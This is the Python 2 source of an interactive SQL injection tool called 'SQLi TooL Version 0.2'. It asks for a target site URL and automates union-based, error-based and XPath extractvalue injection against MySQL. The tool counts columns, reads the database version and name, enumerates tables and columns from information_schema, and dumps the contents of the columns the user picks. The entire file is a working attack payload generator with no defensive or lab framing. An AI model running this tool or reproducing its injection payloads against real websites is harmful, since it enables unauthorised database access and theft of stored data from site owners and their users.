from bs4 import BeautifulSoup import urllib, urllib2, re, webbrowser, sys, os, time, string class App(object): def Clean(self): if sys.platform == 'linux': clear = 'clear' elif sys.platform == 'win32': clear = 'cls' os.system(clear) def Routine(self): equals = '=' print("Enter the site:") global site site = raw_input(">>> ") if site == 'exit': exit while 'www' and 'http://' and '.' not in site: print("[!] Please enter a valid site!") site = raw_input(">>> ") print("[=============================]") while site == int(): print("[!] You entered an integer.Please enter the site") site = raw_input(">>> ") print("[===============================================]") if site[:4] != "http": site = "http://"+ str(site) if equals in site: site = site.replace("=", "=-") if site.endswith("/*"): site = site.rstrip('/*') if site.endswith("#"): site = site.rstrip("#") def UnionBased(self): eqmin = '=-' equals = '=' print("") print(" [Union Based]") print("---------------") self.Routine() print(" [!] Getting column count...") print("") global site site = site.replace('=-', '=') for i in range(2,30): url = site + '+order+by+%s--' % (i) URL = urllib.urlopen(url) Html = URL.read() soup = BeautifulSoup("".join(Html)) bsoup = soup.findAll('', text = True) bsoup = str(bsoup) bsoup = re.sub('<[^<]+?>', '', bsoup) search = re.search("You have an error", bsoup) search2 = re.search("Unknown column", bsoup) search3 = re.search("Error", bsoup) search4 = re.search("SQL", bsoup) if search == None and search2 == None and search3 == None and search4 == None: pass else: I = i - 1 print("Column count is: " + str(I)) break site = site.replace('=', '=-') print("[==================]") print(" [!] Getting vulnerable columns...") ColumnS = ','.join([str(y) for y in range(1,i)]) url = site + '+union+select+%s--' % (ColumnS) URL = urllib.urlopen(url) Html = URL.read() vul = re.findall(r'<[^<]+?>\d+<[^<]+?>', Html) vul = str(vul) vul = re.sub('<.*?>',"", vul) vul = re.sub("'", "", vul) vul = re.sub('"', "", vul) vul = vul.strip('[') vul = vul.strip(']') print("[====================]") print("Vulnerable Colums: " + vul) print("") print("Select vulnerable column to test for db version:") ColumnS = ColumnS.replace(raw_input((">>> ")),'@@version') if ColumnS == '-n' or ColumnS == 'n': new = 2 url = url webbrowser.open(url,new=new) url = site + '+union+select+%s--' % (ColumnS) URL = urllib.urlopen(url) Html = URL.read() db = re.findall(r'<[^<]+?>\d+<[^<]+?>', Html) search = re.findall('5.0', Html) search2 = re.findall('4.0.', Html) search3 = re.findall('5.1.', Html) db = '5.0' db2 = '4.0' db3 = '5.1.' if db in search: print("DB Server: MySQL >=5") if db2 in search2: print("DB Server: MySQL >=4") if db3 in search3: print("DB Server: MySQL >=5.1") print("") print(" [!] Getting Tables...") url = url.rstrip('--') URL = url.replace("@@version","group_concat(table_name,0x0a)") + '+from+information_schema.tables+where+table_schema=database()--' REQ = urllib.urlopen(URL) Html = REQ.read() tblSearch = re.findall("(\w+\s*,\s*\w+\s*(?:,\s*\w+\s*)*)", Html) tblSearch = str(tblSearch) tblSearch = re.sub('<.*?>',"", tblSearch) tblSearch = re.sub('<[^<]+?>', '', tblSearch) tblSearch = re.sub('<[^>]*>', '', tblSearch) tblSearch = re.sub(r'\\n', '', tblSearch) tblSearch = re.sub("'", "", tblSearch) tblSearch = re.sub('\\\\', '', tblSearch) tblSearch = tblSearch.strip('[') tblSearch = tblSearch.strip(']') print("[====================]") print("Tables Found: " + tblSearch) print("") print("Enter the table to inject") Tbl = raw_input('>>> ') if Tbl == '-n' or Tbl == 'n': print("") print(" [!] Redirecting in browser...") print("[============================]") new = 2 url = URL webbrowser.open(url,new=new) while Tbl == int(): print("[===========================================================]") print("[!] Please enter a string [or press n to redirect in browser]!") Tbl = raw_input(">>> ") Encoded = ','.join(str(ord(i)) for i in Tbl) URL = url.rstrip('--') URL = url.replace("@@version", "group_concat(column_name,0x0a)") + '+from+information_schema.columns+where+table_name=char(%s)--' % (Encoded) REQ = urllib.urlopen(URL) Html = REQ.read() colSearch = re.findall("(\w+\s*,\s*\w+\s*(?:,\s*\w+\s*)*)", Html) colSearch = str(colSearch) colSearch = re.sub('<.*?>',"", colSearch) colSearch = re.sub('<[^<]+?>', '', colSearch) colSearch = re.sub('<[^>]*>', '', colSearch) colSearch = re.sub(r'\\n', '', colSearch) colSearch = re.sub("'", "", colSearch) colSearch = re.sub('\\\\', '', colSearch) print("[====================]") print("Columns Found: " + colSearch) print("") print("Enter the columns to inject") Col1 = raw_input('Col #1 >>> ') Col2 = raw_input('Col #2 >>> ') if Col1 == '-n' or Col1 == 'n' or Col2 == '-n' or Col2 == 'n': print("") print("[!] Redirecting in browser...") print("[===========================]") new = 2 url = URL webbrowser.open(url,new=new) print("[===============================]") print(" [!] Getting data from columns...") URL = url.rstrip('--') URL = url.replace('@@version', 'group_concat(%s,0x7e,%s)') % (Col1, Col2) URL = URL + '+from+%s--' % (Tbl) print URL REQ = urllib.urlopen(URL) Html = REQ.read() DataSearch = re.findall("(.*?)~(.*?),(.*?)", Html) DataSearch = str(DataSearch) DataSearch = re.sub('<.*?>',"", DataSearch) DataSearch = re.sub('<[^<]+?>', '', DataSearch) DataSearch = re.sub('<[^>]*>', '', DataSearch) DataSearch = re.sub(r'\\n', '', DataSearch) DataSearch = re.sub("'", "", DataSearch) DataSearch = re.sub('\\\\', '', DataSearch) if DataSearch == '[]': DataSearch = re.findall("(.*?)~(.*)", Html) print("[====================]") print("Data Found(%s,%s): " + str(DataSearch)) % (Col1, Col2) print("[===================]") print("No more Data to dump!") print("[===================]") print("Hit ENTER to restart. \n'n' to redirect in browser for data search. \n'exit' to exit.") end = raw_input(">>> ") if end == '-n' or end == 'n': new = 2 url = URL webbrowser.open(url,new=new) elif end == 'exit': sys.exit() else: run = App() run.Clean() run.main() def ErrorBased(self): print("") print(" [Error Based] ") print("---------------") self.Routine() print("[!] Trying Error Based Method...") minus = '=-' global site for minus in site: site = site.replace("=-", "=") url = site + '+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1--' URL = urllib.urlopen(url) Html = URL.read() soup = BeautifulSoup("".join(Html)) bsoup = soup.findAll('', text = True) bsoup = str(bsoup) bsoup = re.sub('<[^<]+?>', '', bsoup) searching = re.search("Duplicate entry '5.1", bsoup) searching2 = re.search("Duplicate entry '5", bsoup) if searching == None and searching2 == None: print("DB Server: MySQL >=4") elif searching == None: print("DB Server: MySQL >=5") else: print("DB Server: MySQL >=5.1") url = site + '+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(database()+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)' URL = urllib.urlopen(url) Html = URL.read() m = re.compile("'(.*?)~1'").search(Html) soup = BeautifulSoup("".join(Html)) bsoup = soup.findAll('', text = True) bsoup = str(bsoup) bsoup = re.sub('<[^<]+?>', '', bsoup) find = re.findall("'([^']*)'", bsoup) find = str(find) find = re.sub("'", "", find) find = re.sub("~1", "", find) find = re.sub(",", "", find) dbname = str(find) dbname = dbname.strip('[') dbname = dbname.strip(']') try: mgr = m.group(1) except AttributeError: print("") print("Website does not seem to be vulnerable to Error Based Method!") print("Restarting in 5...") time.sleep(5) run = App() run.Clean() run.main() print("") print("DB Name: " + m.group(1)) print("") print(" [!] Getting tables from DB...") for i in range(0,71): url = site + '+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+%s,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)' % (i) URL = urllib.urlopen(url) Html = URL.read() s = re.compile("'(.*?)~1'").search(Html) Html = re.sub('~1', '', Html) soup = BeautifulSoup("".join(Html)) bsoup = soup.findAll('', text = True) bsoup = str(bsoup) bsoup = re.sub('<[^<]+?>', '', bsoup) find = re.findall("'([^']*)'", bsoup) find = list(find) Find = str(find[-1]) if Find == '\n' or Find == '\\n' or Find == ', u': print("[============================]") print(" [!] There are no more tables to find!") break print("[============================]") print("Found table: " + s.group(1)) print("[=======================]") print("Enter the table to inject") tbl = raw_input(">>> ") Tbl = tbl.encode('hex') for i in range(0,23): url = site + '+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(column_name+as+char),0x7e))+from+information_schema.columns+where+table_name=0x%s+limit+%s,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)' % (Tbl, i) URL = urllib.urlopen(url) Html = URL.read() s = re.compile("'(.*?)~1'").search(Html) Html = re.sub('~1', '', Html) soup = BeautifulSoup("".join(Html)) bsoup = soup.findAll('', text = True) bsoup = str(bsoup) bsoup = re.sub('<[^<]+?>', '', bsoup) find = re.findall("'([^']*)'", bsoup) find = list(find) Find = str(find[-1]) if Find == '\n' or Find == '\\n' or Find == ', u': print("[============================]") print(" [!] There are no more columns to find!") break print("[============================]") print("Found column: " + s.group(1)) print("[============================]") print("Enter the columns to inject") col1 = raw_input("Col #1 >>> ") col2 = raw_input("Col #2 >>> ") dbname = dbname.strip('[') dbname = dbname.strip(']') for i in range(0,23): url = site + '+and(select+1+from(select+count(*),concat((select+(select(SELECT+concat(0x7e,0x27,cast(%s.%s+as+char),0x27,0x7e)+FROM+`%s`.%s+LIMIT+%s,1)+)+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1' % (tbl, col1, mgr, tbl, i) URL = urllib.urlopen(url) Html = URL.read() m = re.compile("'(.*?)'~1'").search(Html) Html = re.sub('~1', '', Html) soup = BeautifulSoup("".join(Html)) bsoup = soup.findAll('', text = True) bsoup = str(bsoup) bsoup = re.sub('<[^<]+?>', '', bsoup) find = re.findall("'([^']*)'", bsoup) find = list(find) Find = str(find[-1]) if Find == '\n' or Find == '\\n' or Find == ', u': print("[============================]") print(" [!] There is no more data to dump from %s!") % col1 break print("[============================]") print("Data from %s: " + m.group(0)) % col1 for i in range(0,23): url = site + '+and(select+1+from(select+count(*),concat((select+(select(SELECT+concat(0x7e,0x27,cast(%s.%s+as+char),0x27,0x7e)+FROM+`%s`.%s+LIMIT+%s,1)+)+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1' % (tbl, col2, mgr, tbl, i) URL = urllib.urlopen(url) Html = URL.read() s = re.compile("'(.*?)'~1'").search(Html) Html = re.sub('~1', '', Html) soup = BeautifulSoup("".join(Html)) bsoup = soup.findAll('', text = True) bsoup = str(bsoup) bsoup = re.sub('<[^<]+?>', '', bsoup) find = re.findall("'([^']*)'", bsoup) find = list(find) Find = str(find[-1]) if Find == '\n' or Find == '\\n' or Find == ', u': print("[============================") print(" [!] There is no more data to dump from %s!") % col2 break print("[============================]") print("Data from %s: " + s.group(0)) % col2 print("No more Data to dump!") print("[===================]") print("Hit ENTER to restart.\n'exit' to exit.") end = raw_input(">>> ") if end == 'exit': sys.exit() else: run = App() run.Clean() run.main() def Xpath(self): print("") print(" [XPath Injection] ") print("-------------------") self.Routine() minus = '=-' global site for minus in site: site = site.replace("=-", "=") url = site + '+and+extractvalue(rand(),concat(0x7e,version()))--' URL = urllib.urlopen(url) Html = URL.read() soup = BeautifulSoup("".join(Html)) bsoup = soup.findAll('', text = True) bsoup = str(bsoup) bsoup = re.sub('<[^<]+?>', '', bsoup) searching = re.search("XPATH syntax", bsoup) if searching == None: print(" [!] Website does not seem to be vulnerable to XPath!") print(" [!] Restarting in 5...") time.sleep(5) run = App() run.Clean() run.main() else: print("DB Server: MySQL >=5.1") print("[=====================]") for i in range(0,71): url = site + '+and+extractvalue(rand(),concat(0x0a,(select+concat(0x3a,table_name)+from+information_schema.tables+WHERE+table_schema=database()+limit+%s,1)))--' % (i) URL = urllib.urlopen(url) Html = URL.read() m = re.compile(":\s'\n:(.*?)'").search(Html) Html = re.sub('~', '', Html) search = re.search('You have an', Html) search2 = re.search('XPATH', Html) if search != None or search2 == None: print("") print(" [!] There are no more tables to find!") print("[====================================]") break print("Found table: " + m.group(1)) print("[=========================]") print("Enter the table to inject ") tbl = raw_input(">>> ") Tbl = tbl.encode('hex') for i in range(0,23): url = site + '+and+extractvalue(rand(),concat(0x0a,(select+concat(0x3a,column_name)+from+information_schema.columns+where+table_name=0x%s+limit+%s,1)))--+x' % (Tbl, i) URL = urllib.urlopen(url) Html = URL.read() m = re.compile(":\s'\n:(.*?)'").search(Html) Html = re.sub('~', '', Html) search = re.search('You have an', Html) search2 = re.search('XPATH', Html) if search != None or search2 == None: print("") print(" [!] There are no more columns to find!") print("[=====================================]") break print("Found column: " + m.group(1)) print("[==========================]") print("Enter the columns to inject ") Col1 = raw_input("Col #1>>> ") Col2 = raw_input("Col #2>>> ") for i in range(0,23): url = site + '+and+extractvalue(rand(),concat(0x3a,(select+concat(%s,0x3a,%s)+from+%s+limit+%s,1)))--+x' % (Col1, Col2, tbl, i) URL = urllib.urlopen(url) Html = URL.read() m = re.compile(":\s':(.*?):(.*?)'").search(Html) search = re.search('You have an', Html) search2 = re.search('XPATH', Html) if search != None or search2 == None: print("") print(" [!] There is no more data to dump!") print("[=================================]") break print("[-----------%s:%s------------]") % (Col1, Col2) print("Found Data" + m.group()) print("[==========================]") print("No more Data to dump!") print("[===================]") print("Hit ENTER to restart.\n'exit' to exit.") end = raw_input(">>> ") if end == 'exit': sys.exit() else: run = App() run.Clean() run.main() def main(self): self.Clean() print(" +========================+ ") print(" | SQLi TooL Version 0.2 | ") print(" | Help : -help | ") print(" | Coded by : 5K0N4 | ") print(" +========================+ ") print(" +========================+ ") print(" |_____Choose Method______| ") print(" |-----[1]Union Based-----| ") print(" |---[2]XPath Injection---| ") print(" |-----[3]Error Based-----| ") print(" +========================+ ") choice = raw_input(">>> ") while choice !='1' and choice !='2' and choice != '3' and choice !='-h' and choice !='-help' and choice != 'exit': print("Please enter a valid option [-h for help]!") choice = raw_input(">>> ") if choice == 'exit': sys.exit() elif choice == '-help' or choice == '-h': print("=======================") print("Union Based: ") print("") print("If the program didn't find anything usefull you can \npress '-n' or 'n' to redirect in browser to seach manually!") print("[---------------------------------------------------------]") print("Also there's a bug in 'Tables Found:','Columns Found:' and 'Data Found:' - \nBeware that some of those won't be valid tables\\columns but html elements!") print("[------------------------------------------------------------------------]") print("Hit ENTER to restart") restart = raw_input(">>> ") run = App() run.main() if choice == '1': self.Clean() self.UnionBased() elif choice == '2': self.Clean() self.Xpath() elif choice == '3': self.Clean() self.ErrorBased() if __name__ == '__main__': run = App() run.main()